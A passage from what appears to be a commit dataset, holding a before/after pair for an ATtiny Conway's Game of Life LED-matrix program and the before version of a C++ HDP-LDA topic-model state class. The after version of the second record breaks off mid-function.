FastPinType<START_STOP>::MASK;\nstatic constexpr const uint8_t ALL_PORT = MULTIPLEXER::PORT_MASK | BUTTONS_MASK;\n\nstatic constexpr const uint8_t SMILEY[] =\n{\n\t0B01100110,\n\t0B10011001,\n\t0B10000001,\n\t0B10000001,\n\t0B01000010,\n\t0B00100100,\n\t0B00011000,\n\t0B00000000\n};\n\n\/\/ OPEN POINTS\/TODO\n\/\/ - Improve (use templates) to allow larger matrix size (eg 16x8, 16x16)\n\/\/ - Cleanify code with 2 functions, 1 setup, 1 game?\nint main() __attribute__((OS_main));\nint main()\n{\n\t\/\/ Enable interrupts at startup time\n\tsei();\n\t\n#if HAS_TRACE\n\t\/\/ Setup traces\n\tuatx.begin(57600);\n\ttrace.width(0);\n#endif\n\t\n\t\/\/ Initialize all pins (only one port)\n\tFastPort<PORT>{ALL_DDR, ALL_PORT};\n\t\n\t\/\/ Initialize Multiplexer\n\tMULTIPLEXER mux;\n\t\n\tButton<START_STOP, DEBOUNCE_COUNTER> stop;\n\t\/\/ Step #1: Initialize board with 1st generation\n\t\/\/===============================================\n\t{\n\t\tButton<SELECT, DEBOUNCE_COUNTER> select;\n\t\tAnalogInput<ROW, Board::AnalogReference::AVCC, uint8_t> row_input;\n\t\tAnalogInput<COLUMN, Board::AnalogReference::AVCC, uint8_t> column_input;\n\t\tuint8_t row = 0;\n\t\tuint8_t col = 0;\n\t\tmux.blinks()[0] = _BV(0);\n\t\twhile (true)\n\t\t{\n\t\t\t\/\/ Update selected cell\n\t\t\tmux.blinks()[row] = 0;\n\t\t\trow = row_input.sample() >> 5;\n\t\t\tcol = column_input.sample() >> 5;\n\t\t\tmux.blinks()[row] = _BV(col);\n\t\t\t\/\/ Check button states\n\t\t\tif (stop.unique_press())\n\t\t\t\tbreak;\n\t\t\tif (select.unique_press())\n\t\t\t\tmux.data()[row] ^= _BV(col);\n\t\t\tmux.refresh(BlinkMode::BLINK_ALL_BLINKS);\n\t\t\tTime::delay_us(REFRESH_PERIOD_US);\n\t\t}\n\t}\n\t\n\t\/\/ Step #2: Start game\n\t\/\/=====================\n\t{\n\t\t\/\/ Initialize game board\n\t\tGAME game{mux.data()};\n\n\t\t\/\/ Loop to refresh LED matrix and progress game to next generation\n\t\tuint16_t progress_counter = 0;\n\t\tbool pause = false;\n\t\twhile (true)\n\t\t{\n\t\t\tmux.refresh(BlinkMode::NO_BLINK);\n\t\t\tTime::delay_us(REFRESH_PERIOD_US);\n\t\t\tif (stop.unique_press())\n\t\t\t\tpause = !pause;\n\t\t\tif (!pause && ++progress_counter == PROGRESS_COUNTER)\n\t\t\t{\n\t\t\t\tgame.progress_game();\n\t\t\t\tprogress_counter = 0;\n\t\t\t\t\/\/ Check if game is finished (ie no more live cell, or still life)\n\t\t\t\tif (game.is_empty())\n\t\t\t\t{\n\t\t\t\t\t\/\/ Load a smiley into the game\n\t\t\t\t\tfor (uint8_t i = 0; i < sizeof(SMILEY)\/sizeof(SMILEY[0]); ++i)\n\t\t\t\t\t\tmux.data()[i] = SMILEY[i];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (game.is_still())\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\/\/ Step #3: End game\n\t\/\/===================\n\t\/\/ Here we just need to refresh content and blink it until reset\n\tTime::delay_ms(1000);\n\twhile (true)\n\t{\n\t\tTime::delay_us(REFRESH_PERIOD_US);\n\t\tmux.refresh(BlinkMode::BLINK_ALL_DATA);\n\t}\n\treturn 0;\n}\n<commit_msg>Conway small code cleanup for ATtiny.<commit_after>\/*\n * Conway's Game of Life implementation with less than 1KB code.\n * Prototype is developed first with Arduino then ported to ATtiny84A.\n * \n * Description:\n * - cells are displayed on an 8x8 LED matrix\n * - initial setup is set through 2 pots (X and Y) and one button to select\/unselect a cell\n * - starting\/suspending the game is done by a second push button\n * - a 3rd pot allows speed tuning\n * \n * Circuit:\n * - MCU is connected to 2 chained 74HC595 SIPO\n * - First SIPO is connected to matrix columns through 8 330Ohm resistors\n * - Second SIPO is connected to matrix rows\n * \n * Wiring:\n * - on Arduino UNO:\n *   - D2 is an output connected to both SIPO clock pins\n *   - D3 is an output connected to both SIPO latch pins\n *   - D4 is an output connected to first SIPO serial data input\n *   - D0 is an input connected to the START\/STOP button (connected itself to GND)\n *   - D7 is an input connected to the SELECT button (connected itself to GND)\n *   - A0 is an analog input connected to the ROW potentiometer\n *   - A1 is an analog input connected to the COLUMN potentiometer\n * - on ATtinyX4 based boards:\n *   - PAx is an output connected to both SIPO clock pins\n *   - PAx is an output connected to both SIPO latch pins\n *   - PA0 is an output connected to first SIPO serial data input\n *   - PA5 is an input connected to the START\/STOP button (connected itself to GND)\n *   - PA4 is an input connected to the SELECT button (connected itself to GND)\n *   - A6 is an analog input connected to the ROW potentiometer\n *   - A7 is an analog input connected to the COLUMN potentiometer\n *\/\n\n\/\/TODO 2. Reuse left pot (row selection) to determine speed of game\n\/\/TODO 3. Optimize if needed (several leads: remove vectors, use GPIOR for neighbours)\n\/\/TODO 4. Update ATtiny84 pins for actual project boards (no more prototype)\n\n#include <avr\/interrupt.h>\n#include <util\/delay.h>\n\n#include <fastarduino\/time.hh>\n#include <fastarduino\/AnalogInput.hh>\n\n#include \"Multiplexer.hh\"\n#include \"Button.hh\"\n#include \"Game.hh\"\n\n#if defined(ARDUINO_UNO)\nstatic constexpr const Board::DigitalPin CLOCK = Board::DigitalPin::D2;\nstatic constexpr const Board::DigitalPin LATCH = Board::DigitalPin::D3;\nstatic constexpr const Board::DigitalPin DATA = Board::DigitalPin::D4;\n\nstatic constexpr const Board::AnalogPin ROW = Board::AnalogPin::A0;\nstatic constexpr const Board::AnalogPin COLUMN = Board::AnalogPin::A1;\n\nstatic constexpr const Board::DigitalPin SELECT = Board::DigitalPin::D5;\nstatic constexpr const Board::DigitalPin START_STOP = Board::DigitalPin::D6;\n\n#define HAS_TRACE 1\n#elif defined (BREADBOARD_ATTINYX4)\nstatic constexpr const Board::DigitalPin CLOCK = Board::DigitalPin::D0;\nstatic constexpr const Board::DigitalPin LATCH = Board::DigitalPin::D1;\nstatic constexpr const Board::DigitalPin DATA = Board::DigitalPin::D2;\n\nstatic constexpr const Board::AnalogPin ROW = Board::AnalogPin::A3;\nstatic constexpr const Board::AnalogPin COLUMN = Board::AnalogPin::A4;\n\nstatic constexpr const Board::DigitalPin SELECT = Board::DigitalPin::D5;\nstatic constexpr const Board::DigitalPin START_STOP = Board::DigitalPin::D6;\n\/\/TODO Find real PAx for latch and clock\n\/\/static constexpr const Board::DigitalPin CLOCK = Board::DigitalPin::DX;\n\/\/static constexpr const Board::DigitalPin LATCH = Board::DigitalPin::DX;\n\/\/static constexpr const Board::DigitalPin DATA = Board::DigitalPin::D0;\n\/\/\n\/\/static constexpr const Board::AnalogPin ROW = Board::AnalogPin::A7;\n\/\/static constexpr const Board::AnalogPin COLUMN = Board::AnalogPin::A6;\n\/\/\n\/\/static constexpr const Board::DigitalPin SELECT = Board::DigitalPin::D4;\n\/\/static constexpr const Board::DigitalPin START_STOP = Board::DigitalPin::D5;\n#else\n#error \"Current target is not yet supported!\"\n#endif\n\n#if HAS_TRACE\n#include <fastarduino\/uart.hh>\nUSE_UATX0();\n\n\/\/ Buffers for UART\nstatic const uint8_t OUTPUT_BUFFER_SIZE = 128;\nstatic char output_buffer[OUTPUT_BUFFER_SIZE];\nstatic UATX<Board::USART::USART0> uatx{output_buffer};\nFormattedOutput<OutputBuffer> trace = uatx.fout();\n#endif\n\n\/\/ Single port used by this circuit\nstatic constexpr const Board::Port PORT = FastPinType<CLOCK>::PORT;\n\n\/\/ Check at compile time that all pins are on the same port\nstatic_assert(FastPinType<LATCH>::PORT == PORT, \"LATCH must be on same port as CLOCK\");\nstatic_assert(FastPinType<DATA>::PORT == PORT, \"DATA must be on same port as CLOCK\");\nstatic_assert(FastPinType<SELECT>::PORT == PORT, \"SELECT must be on same port as CLOCK\");\nstatic_assert(FastPinType<START_STOP>::PORT == PORT, \"START_STOP must be on same port as CLOCK\");\n\n\/\/ Timing constants\n\/\/ Multiplexing is done one row every 2ms, ie 8 rows in 16ms\nstatic constexpr const uint16_t REFRESH_PERIOD_US = 1000;\n\/\/ Blinking LEDs are toggled every 20 times the display is fully refreshed (ie 20 x 8 x 2ms = 320ms)\nstatic constexpr const uint16_t BLINKING_HALF_TIME_MS = 250;\nstatic constexpr const uint16_t BLINKING_COUNTER = BLINKING_HALF_TIME_MS * 1000UL \/ REFRESH_PERIOD_US;\n\/\/ Buttons debouncing is done on a duration of 20ms\nstatic constexpr const uint16_t DEBOUNCE_TIME_MS = 20;\nstatic constexpr const uint8_t DEBOUNCE_COUNTER = DEBOUNCE_TIME_MS * 1000UL \/ REFRESH_PERIOD_US;\n\nstatic constexpr const uint16_t PROGRESS_PERIOD_MS = 2000;\nstatic constexpr const uint16_t PROGRESS_COUNTER = PROGRESS_PERIOD_MS * 1000UL \/ REFRESH_PERIOD_US;\n\n\/\/ Useful constants and types\nusing MULTIPLEXER = Matrix8x8Multiplexer<CLOCK, LATCH, DATA, BLINKING_COUNTER>;\nstatic constexpr const uint8_t ROWS = MULTIPLEXER::ROWS;\nstatic constexpr const uint8_t COLUMNS = MULTIPLEXER::COLUMNS;\nusing GAME = GameOfLife<ROWS, COLUMNS>;\n\n\/\/ Calculate direction of pins (3 output, 2 input with pullups)\nstatic constexpr const uint8_t ALL_DDR = MULTIPLEXER::DDR_MASK;\nstatic constexpr const uint8_t BUTTONS_MASK = FastPinType<SELECT>::MASK | FastPinType<START_STOP>::MASK;\nstatic constexpr const uint8_t ALL_PORT = MULTIPLEXER::PORT_MASK | BUTTONS_MASK;\n\nstatic constexpr const uint8_t SMILEY[] =\n{\n\t0B01100110,\n\t0B10011001,\n\t0B10000001,\n\t0B10000001,\n\t0B01000010,\n\t0B00100100,\n\t0B00011000,\n\t0B00000000\n};\n\n\/\/ OPEN POINTS\/TODO\n\/\/ - Improve (use templates) to allow larger matrix size (eg 16x8, 16x16)\n\/\/ - Cleanify code with 2 functions, 1 setup, 1 game?\nint main() __attribute__((OS_main));\nint main()\n{\n\t\/\/ Enable interrupts at startup time\n\tsei();\n\t\n#if HAS_TRACE\n\t\/\/ Setup traces\n\tuatx.begin(57600);\n\ttrace.width(0);\n#endif\n\t\n\t\/\/ Initialize all pins (only one port)\n\tFastPort<PORT>{ALL_DDR, ALL_PORT};\n\t\n\t\/\/ Initialize Multiplexer\n\tMULTIPLEXER mux;\n\t\n\tButton<START_STOP, DEBOUNCE_COUNTER> stop;\n\t\/\/ Step #1: Initialize board with 1st generation\n\t\/\/===============================================\n\t{\n\t\tButton<SELECT, DEBOUNCE_COUNTER> select;\n\t\tAnalogInput<ROW, Board::AnalogReference::AVCC, uint8_t> row_input;\n\t\tAnalogInput<COLUMN, Board::AnalogReference::AVCC, uint8_t> column_input;\n\t\tuint8_t row = 0;\n\t\tuint8_t col = 0;\n\t\tmux.blinks()[0] = _BV(0);\n\t\twhile (true)\n\t\t{\n\t\t\t\/\/ Update selected cell\n\t\t\tmux.blinks()[row] = 0;\n\t\t\trow = row_input.sample() >> 5;\n\t\t\tcol = column_input.sample() >> 5;\n\t\t\tmux.blinks()[row] = _BV(col);\n\t\t\t\/\/ Check button states\n\t\t\tif (stop.unique_press())\n\t\t\t\tbreak;\n\t\t\tif (select.unique_press())\n\t\t\t\tmux.data()[row] ^= _BV(col);\n\t\t\tmux.refresh(BlinkMode::BLINK_ALL_BLINKS);\n\t\t\tTime::delay_us(REFRESH_PERIOD_US);\n\t\t}\n\t}\n\t\n\t\/\/ Step #2: Start game\n\t\/\/=====================\n\t{\n\t\t\/\/ Initialize game board\n\t\tGAME game{mux.data()};\n\n\t\t\/\/ Loop to refresh LED matrix and progress game to next generation\n\t\tuint16_t progress_counter = 0;\n\t\tbool pause = false;\n\t\twhile (true)\n\t\t{\n\t\t\tmux.refresh(BlinkMode::NO_BLINK);\n\t\t\tTime::delay_us(REFRESH_PERIOD_US);\n\t\t\tif (stop.unique_press())\n\t\t\t\tpause = !pause;\n\t\t\tif (!pause && ++progress_counter == PROGRESS_COUNTER)\n\t\t\t{\n\t\t\t\tgame.progress_game();\n\t\t\t\tprogress_counter = 0;\n\t\t\t\t\/\/ Check if game is finished (ie no more live cell, or still life)\n\t\t\t\tif (game.is_empty())\n\t\t\t\t{\n\t\t\t\t\t\/\/ Load a smiley into the game\n\t\t\t\t\tfor (uint8_t i = 0; i < sizeof(SMILEY)\/sizeof(SMILEY[0]); ++i)\n\t\t\t\t\t\tmux.data()[i] = SMILEY[i];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (game.is_still())\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\/\/ Step #3: End game\n\t\/\/===================\n\t\/\/ Here we just need to refresh content and blink it until reset\n\tTime::delay_ms(1000);\n\twhile (true)\n\t{\n\t\tTime::delay_us(REFRESH_PERIOD_US);\n\t\tmux.refresh(BlinkMode::BLINK_ALL_DATA);\n\t}\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <microscopes\/lda\/model.hpp>\n\n\nmicroscopes::lda::model_definition::model_definition(size_t n, size_t v)\n    : n_(n), v_(v)\n{\n    MICROSCOPES_DCHECK(n > 0, \"no docs\");\n    MICROSCOPES_DCHECK(v > 0, \"no terms\");\n}\n\nmicroscopes::lda::state::state(const model_definition &defn,\n      float alpha,\n      float beta,\n      float gamma,\n      const microscopes::lda::nested_vector &docs)\n    : V(defn.v()),\n      alpha_(alpha),\n      beta_(beta),\n      gamma_(gamma),\n      x_ji(docs),\n      n_k(lda_util::defaultdict<size_t, float>(beta * defn.v()))\n      {\n        \/\/ This page intentionally left blank\n}\n\nmicroscopes::lda::state::state(const model_definition &defn,\n      float alpha,\n      float beta,\n      float gamma,\n      size_t initial_dishes,\n      const microscopes::lda::nested_vector &docs,\n      common::rng_t &rng)\n    : state(defn, alpha, beta, gamma, docs) {\n\n    auto dish_pool = microscopes::common::util::range(initial_dishes);\n\n    create_dish(); \/\/ Dummy dish\n    for (size_t eid = 0; eid < nentities(); ++eid) {\n        create_entity(eid);\n\n        auto did = common::util::sample_choice(dish_pool, rng);\n        if (did > dishes_.back()){\n            did = create_dish();\n        }\n        create_table(eid, did);\n    }\n}\n\nmicroscopes::lda::state::state(const model_definition &defn,\n      float alpha,\n      float beta,\n      float gamma,\n      const microscopes::lda::nested_vector &dish_assignments,\n      const microscopes::lda::nested_vector &table_assignments,\n      const microscopes::lda::nested_vector &docs)\n    : state(defn, alpha, beta, gamma, docs) {\n        \/\/ Explicit initialization constructor for state used for\n        \/\/ deserialization and testing\n        \/\/ table_assignment maps words to tables (and should be the same\n        \/\/  shape as docs)\n        \/\/ dish_assignment maps tables to dishes (its outer length should\n        \/\/  be the the same as docs. Its inner length one plus the maximum\n        \/\/  table index value for the given entity\/doc.)\n\n        \/\/ Create all the dishes we will need.\n        create_dish(); \/\/ dummy dish\n        auto num_dishes = lda_util::max_element(dish_assignments);\n        for(size_t dish = 0; dish <= num_dishes; dish++) {\n            create_dish();\n        }\n        for (size_t eid = 0; eid < nentities(); ++eid) {\n            create_entity(eid);\n            \/\/ Create all the tables we will need and assign them to their dish.\n            for(auto did: dish_assignments[eid]){\n                create_table(eid, did);\n            }\n            \/\/ Assign words to tables.\n            for(size_t word_index = 0; word_index < table_assignments[eid].size(); word_index++){\n                auto tid  = table_assignments[eid][word_index];\n                add_table(eid, tid, word_index);\n            }\n        }\n}\n\nvoid\nmicroscopes::lda::state::create_entity(size_t eid){\n    using_t.push_back(std::vector<size_t>());\n    n_jt.push_back(std::vector<size_t>());\n    dish_assignments_.push_back(std::vector<size_t>());\n    table_assignments_.push_back(std::vector<size_t>(nterms(eid), 0));\n    n_jtv.push_back(std::vector< std::map<size_t, size_t>>());\n}\n\nmicroscopes::lda::nested_vector\nmicroscopes::lda::state::assignments() {\n    microscopes::lda::nested_vector ret;\n    ret.resize(nentities());\n\n    for (size_t eid = 0; eid < nentities(); eid++) {\n        ret[eid].resize(table_assignments_[eid].size());\n        for (size_t did = 0; did < table_assignments_[eid].size(); did++) {\n            auto table = table_assignments_[eid][did];\n            ret[eid][did] = dish_assignments_[eid][table];\n        }\n    }\n    return ret;\n\n}\n\n\/**\n* Returns, for each entity, a map from\n* table IDs -> (global) dish assignments\n*\n*\/\nmicroscopes::lda::nested_vector\nmicroscopes::lda::state::dish_assignments() {\n    return dish_assignments_;\n}\n\n\/**\n* Returns, for each entity, an assignment vector\n* from each word to the (local) table it is assigned to.\n*\n*\/\nmicroscopes::lda::nested_vector\nmicroscopes::lda::state::table_assignments() {\n    return table_assignments_;\n}\n\nfloat\nmicroscopes::lda::state::score_assignment() const\n{\n    return 0;\n}\n\nfloat\nmicroscopes::lda::state::score_data(common::rng_t &rng) const\n{\n    return 0;\n}\n\n\nstd::vector<std::map<size_t, float>>\nmicroscopes::lda::state::word_distribution() {\n    \/\/ Distribution over words for each topic\n    std::vector<std::map<size_t, float>> vec;\n    vec.reserve(dishes_.size());\n    for (auto k : dishes_) {\n        if (k == 0) continue;\n        vec.push_back(std::map<size_t, float>());\n        for (size_t v = 0; v < V; ++v) {\n            vec.back()[v] = n_kv[k].get(v) \/ n_k.get(k);\n        }\n    }\n    return vec;\n}\n\nstd::vector<std::vector<float>>\nmicroscopes::lda::state::document_distribution  () {\n    \/\/ Distribution over topics for each document\n    std::vector<std::vector<float>> theta;\n    theta.reserve(dish_assignments_.size());\n    std::vector<float> am_k(m_k.begin(), m_k.end());\n    am_k[0] = gamma_;\n    double sum_am_dishes_ = 0;\n    for (auto k : dishes_) {\n        sum_am_dishes_ += am_k[k];\n    }\n    for (size_t i = 0; i < am_k.size(); ++i) {\n        am_k[i] *= alpha_ \/ sum_am_dishes_;\n    }\n\n    for (size_t j = 0; j < dish_assignments_.size(); j++) {\n        std::vector<size_t> &n_jt_ = n_jt[j];\n        std::vector<float> p_jk = am_k;\n        for (auto t : using_t[j]) {\n            if (t == 0) continue;\n            size_t k = dish_assignments_[j][t];\n            p_jk[k] += n_jt_[t];\n        }\n        p_jk = lda_util::selectByIndex(p_jk, dishes_);\n        lda_util::normalize<float>(p_jk);\n        theta.push_back(p_jk);\n    }\n    return theta;\n}\n\ndouble\nmicroscopes::lda::state::perplexity() {\n    std::vector<std::map<size_t, float>> phi = word_distribution();\n    std::vector<std::vector<float>> theta = document_distribution();\n    phi.insert(phi.begin(), std::map<size_t, float>());\n    double log_likelihood = 0;\n    size_t N = 0;\n    for (size_t eid = 0; eid < nentities(); eid++) {\n        for (auto &v : get_entity(eid)) {\n            double word_prob = 0;\n            for (size_t did = 0; did < dishes_.size(); did++) {\n                MICROSCOPES_DCHECK(theta[eid].size() == dishes_.size(), \"theta[eid] wrong\");\n                \/\/ Probability that topic of word occurs in document\n                \/\/ times probability word occurs in topic\n                word_prob += theta[eid][did] * phi[did][v];\n            }\n            log_likelihood -= distributions::fast_log(word_prob);\n        }\n        N += nterms(eid);\n    }\n\n    return exp(log_likelihood \/ N);\n}\n\n\n\/\/ private:\n\nvoid\nmicroscopes::lda::state::leave_from_dish(size_t j, size_t t) {\n    size_t k = dish_assignments_[j][t];\n    MICROSCOPES_DCHECK(k > 0, \"k < = 0\");\n    MICROSCOPES_DCHECK(m_k[k] > 0, \"m_k[k] <= 0\");\n    m_k[k] -= 1; \/\/ one less table for topic k\n    if (m_k[k] == 0) \/\/ destroy table\n    {\n        delete_dish(k);\n        dish_assignments_[j][t] = 0;\n    }\n}\n\nvoid\nmicroscopes::lda::state::validate_n_k_values() {\n    return;\n    std::map<size_t, std::tuple<float, float>> values;\n    for (auto k : dishes_) {\n        float n_kv_sum = 0;\n        for (size_t v = 0; v < V; v++) {\n            n_kv_sum += n_kv[k].get(v);\n        }\n        values[k] = std::tuple<float, float>(n_kv_sum, n_k.get(k));\n    }\n    for (auto kv : values) {\n        if (kv.first == 0) continue;\n        MICROSCOPES_CHECK(std::abs((std::get<0>(kv.second) - std::get<1>(kv.second))) < 0.01,\n                          \"n_kv doesn't match n_k\");\n    }\n}\n\n\nvoid\nmicroscopes::lda::state::seat_at_dish(size_t j, size_t t, size_t k_new) {\n    m_k[k_new] += 1;\n\n    size_t k_old = dish_assignments_[j][t];\n    if (k_new != k_old)\n    {\n        MICROSCOPES_DCHECK(k_new != 0, \"k_new is 0\");\n        dish_assignments_[j][t] = k_new;\n        float n_jt_val = n_jt[j][t];\n\n        if (k_old != 0)\n        {\n            n_k.decr(k_old, n_jt_val);\n        }\n        n_k.incr(k_new, n_jt_val);\n        for (auto kv : n_jtv[j][t]) {\n            auto v = kv.first;\n            auto n = kv.second;\n            MICROSCOPES_DCHECK(v < nwords(), \"Word out of bounds\");\n            if (k_old != 0)\n            {\n                n_kv[k_old].decr(v, n);\n            }\n            n_kv[k_new].incr(v, n);\n        }\n    }\n}\n\n\nvoid\nmicroscopes::lda::state::add_table(size_t eid, size_t tid, size_t word_index) {\n    table_assignments_[eid][word_index] = tid;\n    n_jt[eid][tid] += 1;\n\n    size_t k_new = dish_assignments_[eid][tid];\n    n_k.incr(k_new, 1);\n\n    size_t v = get_word(eid, word_index);\n    MICROSCOPES_DCHECK(v < nwords(), \"Word out of bounds\");\n    n_kv[k_new].incr(v, 1);\n    n_jtv[eid][tid][v] += 1;\n}\n\nvoid\nmicroscopes::lda::state::create_dish(size_t k_new){\n    while(k_new >= m_k.size())\n    {\n        m_k.push_back(0);\n        n_kv.push_back(lda_util::defaultdict<size_t, float>(beta_));\n    }\n\n    dishes_.insert(dishes_.begin() + k_new, k_new);\n    n_k.set(k_new, beta_ * V);\n    n_kv[k_new] = lda_util::defaultdict<size_t, float>(beta_);\n    m_k[k_new] = 0;\n}\n\nsize_t\nmicroscopes::lda::state::create_dish() {\n    size_t k_new = dishes_.size();\n    for (size_t i = 0; i < dishes_.size(); ++i)\n    {\n        if (i != dishes_[i])\n        {\n            k_new = i;\n            break;\n        }\n    }\n    create_dish(k_new);\n    return k_new;\n\n}\n\nsize_t\nmicroscopes::lda::state::create_table(size_t eid, size_t k_new)\n{\n    size_t t_new = using_t[eid].size();\n    for (size_t i = 0; i < using_t[eid].size(); ++i)\n    {\n        if (i != using_t[eid][i])\n        {\n            t_new = i;\n            break;\n        }\n    }\n    if (t_new == using_t[eid].size())\n    {\n        n_jt[eid].push_back(0);\n        dish_assignments_[eid].push_back(0);\n\n        n_jtv[eid].push_back(std::map<size_t, size_t>());\n    }\n    using_t[eid].insert(using_t[eid].begin() + t_new, t_new);\n    n_jt[eid][t_new] = 0;\n    dish_assignments_[eid][t_new] = k_new;\n    if (k_new != 0){\n        m_k[k_new] += 1;\n    }\n    return t_new;\n}\n\nvoid\nmicroscopes::lda::state::remove_table(size_t eid, size_t word_index) {\n    size_t tid = table_assignments_[eid][word_index];\n    if (tid > 0)\n    {\n        size_t k = dish_assignments_[eid][tid];\n        MICROSCOPES_DCHECK(k > 0, \"k <= 0\");\n        \/\/ decrease counters\n        size_t v = get_word(eid, word_index);\n        MICROSCOPES_DCHECK(v < nwords(), \"Word out of bounds\");\n        n_kv[k].decr(v, 1);\n        n_k.decr(k, 1);\n        n_jt[eid][tid] -= 1;\n        n_jtv[eid][tid][v] -= 1;\n\n        if (n_jt[eid][tid] == 0)\n        {\n            delete_table(eid, tid);\n        }\n    }\n}\n\nvoid\nmicroscopes::lda::state::delete_table(size_t eid, size_t tid) {\n    size_t k = dish_assignments_[eid][tid];\n    lda_util::removeFirst(using_t[eid], tid);\n    m_k[k] -= 1;\n    MICROSCOPES_DCHECK(m_k[k] >= 0, \"m_k[k] < 0\");\n    if (m_k[k] == 0)\n    {\n        delete_dish(k);\n    }\n\n    \/\/ Prune dish assignment vector\n    dish_assignments_[eid][tid] = 0;\n    while(dish_assignments_[eid].empty() == false)\n   {\n        if(dish_assignments_[eid].back() == 0){\n            dish_assignments_[eid].pop_back();\n            n_jt[eid].pop_back();\n            n_jtv[eid].pop_back();\n        }\n        else break;\n   }\n\n}\n\n<commit_msg>Allow for gaps in dish indices on explicit initialization<commit_after>#include <microscopes\/lda\/model.hpp>\n\n\nmicroscopes::lda::model_definition::model_definition(size_t n, size_t v)\n    : n_(n), v_(v)\n{\n    MICROSCOPES_DCHECK(n > 0, \"no docs\");\n    MICROSCOPES_DCHECK(v > 0, \"no terms\");\n}\n\nmicroscopes::lda::state::state(const model_definition &defn,\n      float alpha,\n      float beta,\n      float gamma,\n      const microscopes::lda::nested_vector &docs)\n    : V(defn.v()),\n      alpha_(alpha),\n      beta_(beta),\n      gamma_(gamma),\n      x_ji(docs),\n      n_k(lda_util::defaultdict<size_t, float>(beta * defn.v()))\n      {\n        \/\/ This page intentionally left blank\n}\n\nmicroscopes::lda::state::state(const model_definition &defn,\n      float alpha,\n      float beta,\n      float gamma,\n      size_t initial_dishes,\n      const microscopes::lda::nested_vector &docs,\n      common::rng_t &rng)\n    : state(defn, alpha, beta, gamma, docs) {\n\n    auto dish_pool = microscopes::common::util::range(initial_dishes);\n\n    create_dish(); \/\/ Dummy dish\n    for (size_t eid = 0; eid < nentities(); ++eid) {\n        create_entity(eid);\n\n        auto did = common::util::sample_choice(dish_pool, rng);\n        if (did > dishes_.back()){\n            did = create_dish();\n        }\n        create_table(eid, did);\n    }\n}\n\nmicroscopes::lda::state::state(const model_definition &defn,\n      float alpha,\n      float beta,\n      float gamma,\n      const microscopes::lda::nested_vector &dish_assignments,\n      const microscopes::lda::nested_vector &table_assignments,\n      const microscopes::lda::nested_vector &docs)\n    : state(defn, alpha, beta, gamma, docs) {\n        \/\/ Explicit initialization constructor for state used for\n        \/\/ deserialization and testing\n        \/\/ table_assignment maps words to tables (and should be the same\n        \/\/  shape as docs)\n        \/\/ dish_assignment maps tables to dishes (its outer length should\n        \/\/  be the the same as docs. Its inner length one plus the maximum\n        \/\/  table index value for the given entity\/doc.)\n\n        \/\/ Create all the dishes we will need.\n        for(auto dish: lda_util::unique_members(dish_assignments)) {\n            create_dish(dish);\n        }\n        for (size_t eid = 0; eid < nentities(); ++eid) {\n            create_entity(eid);\n            \/\/ Create all the tables we will need and assign them to their dish.\n            for(auto did: dish_assignments[eid]){\n                create_table(eid, did);\n            }\n            \/\/ Assign words to tables.\n            for(size_t word_index = 0; word_index < table_assignments[eid].size(); word_index++){\n                auto tid  = table_assignments[eid][word_index];\n                add_table(eid, tid, word_index);\n            }\n        }\n}\n\nvoid\nmicroscopes::lda::state::create_entity(size_t eid){\n    using_t.push_back(std::vector<size_t>());\n    n_jt.push_back(std::vector<size_t>());\n    dish_assignments_.push_back(std::vector<size_t>());\n    table_assignments_.push_back(std::vector<size_t>(nterms(eid), 0));\n    n_jtv.push_back(std::vector< std::map<size_t, size_t>>());\n}\n\nmicroscopes::lda::nested_vector\nmicroscopes::lda::state::assignments() {\n    microscopes::lda::nested_vector ret;\n    ret.resize(nentities());\n\n    for (size_t eid = 0; eid < nentities(); eid++) {\n        ret[eid].resize(table_assignments_[eid].size());\n        for (size_t did = 0; did < table_assignments_[eid].size(); did++) {\n            auto table = table_assignments_[eid][did];\n            ret[eid][did] = dish_assignments_[eid][table];\n        }\n    }\n    return ret;\n\n}\n\n\/**\n* Returns, for each entity, a map from\n* table IDs -> (global) dish assignments\n*\n*\/\nmicroscopes::lda::nested_vector\nmicroscopes::lda::state::dish_assignments() {\n    return dish_assignments_;\n}\n\n\/**\n* Returns, for each entity, an assignment vector\n* from each word to the (local) table it is assigned to.\n*\n*\/\nmicroscopes::lda::nested_vector\nmicroscopes::lda::state::table_assignments() {\n    return table_assignments_;\n}\n\nfloat\nmicroscopes::lda::state::score_assignment() const\n{\n    return 0;\n}\n\nfloat\nmicroscopes::lda::state::score_data(common::rng_t &rng) const\n{\n    return 0;\n}\n\n\nstd::vector<std::map<size_t, float>>\nmicroscopes::lda::state::word_distribution() {\n    \/\/ Distribution over words for each topic\n    std::vector<std::map<size_t, float>> vec;\n    vec.reserve(dishes_.size());\n    for (auto k : dishes_) {\n        if (k == 0) continue;\n        vec.push_back(std::map<size_t, float>());\n        for (size_t v = 0; v < V; ++v) {\n            vec.back()[v] = n_kv[k].get(v) \/ n_k.get(k);\n        }\n    }\n    return vec;\n}\n\nstd::vector<std::vector<float>>\nmicroscopes::lda::state::document_distribution  () {\n    \/\/ Distribution over topics for each document\n    std::vector<std::vector<float>> theta;\n    theta.reserve(dish_assignments_.size());\n    std::vector<float> am_k(m_k.begin(), m_k.end());\n    am_k[0] = gamma_;\n    double sum_am_dishes_ = 0;\n    for (auto k : dishes_) {\n        sum_am_dishes_ += am_k[k];\n    }\n    for (size_t i = 0; i < am_k.size(); ++i) {\n        am_k[i] *= alpha_ \/ sum_am_dishes_;\n    }\n\n    for (size_t j = 0; j < dish_assignments_.size(); j++) {\n        std::vector<size_t> &n_jt_ = n_jt[j];\n        std::vector<float> p_jk = am_k;\n        for (auto t : using_t[j]) {\n            if (t == 0) continue;\n            size_t k = dish_assignments_[j][t];\n            p_jk[k] += n_jt_[t];\n        }\n        p_jk = lda_util::selectByIndex(p_jk, dishes_);\n        lda_util::normalize<float>(p_jk);\n        theta.push_back(p_jk);\n    }\n    return theta;\n}\n\ndouble\nmicroscopes::lda::state::perplexity() {\n    std::vector<std::map<size_t, float>> phi = word_distribution();\n    std::vector<std::vector<float>> theta = document_distribution();\n    phi.insert(phi.begin(), std::map<size_t, float>());\n    double log_likelihood = 0;\n    size_t N = 0;\n    for (size_t eid = 0; eid < nentities(); eid++) {\n        for (auto &v : get_entity(eid)) {\n            double word_prob = 0;\n            for (size_t did = 0; did < dishes_.size(); did++) {\n                